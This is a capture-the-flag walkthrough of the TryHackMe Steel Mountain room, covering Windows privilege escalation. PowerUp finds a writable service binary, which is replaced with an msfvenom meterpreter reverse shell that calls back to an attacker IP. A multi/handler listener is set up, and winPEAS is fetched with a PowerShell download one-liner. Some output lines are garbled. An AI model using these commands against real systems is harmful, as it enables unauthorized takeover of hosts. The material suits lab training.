# TryHackMe Steel Mountain

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### **Privilege Escalation**

- Upload PowerUp script to the machine form the meterpreter
- upload /opt/tools/PowerSploit/Privesc/PowerUp.ps1
- To execute this using Meterpreter, I will type load powershell into meterpreter. Then I will enter powershell by entering powershell shell

```
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS >
```

```
PS > . NPowerUp.ps1
PS > Invoke-AllChecks

ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : AdwancedSystemCareService9
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart : True
Name : AdvancedSystemCareService9
Check : Unquoted Service Paths

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ModifiablePath : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : C:\Program Files (x86)\IObit; IdentityReference=STEELMOUNTAIN\bill;
Permissions=System.Object[]}

StartName : LocalSystem
```

 generate a revshell & output it to the same exe as our target service

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.4.23.120 LPORT=9999 -e x86/shikata_ga_nai -f exe -o ASCService.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: ASCService.exe
```

• get a shell form meterpreter & stop the service

#### • upload the shell

```
meterpreter > upload ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
[*] uploading : /home/avik/Desktop/ctf/WalkThroughs/TryHackMe/steel_Mountain/ASCService.exe -> C:\Program Files (x86)\IOb
it\Advanced SystemCare\ASCService.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /home/avik/Desktop/ctf/WalkThroughs/TryHackMe/steel_Mountain/ASCService.exe
-> C:\Program Files (x86)\IOb
it\Advanced SystemCare\ASCService.exe
[*] uploaded : /home/avik/Desktop/ctf/WalkThroughs/TryHackMe/steel_Mountain/ASCService.exe -> C:\Program Files (x86)\IOb
it\Advanced SystemCare\ASCService.exe
meterpreter >
```

#### • set-up a listener

root

```
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
payloaD => windows/meterpreter/reverse_tcp
psf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 9999
lport => 9999
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.4.23.120:9999
[*] Started reverse TCP handler on 10.4.23.120:9999
[*] Started reverse started in the started in th
```

- but the shell is not stable
- set AutoRunScript post/windows/manage/migrate to auto migrate the shell

## **Manually**

exploit

upload winpease

```
powershell -c "Invoke-WebRequest -OutFile winpease.exe -Uri
http://10.4.23.120:8000/winPEASx86.exe"
```

generate a payload with msfvenom & run it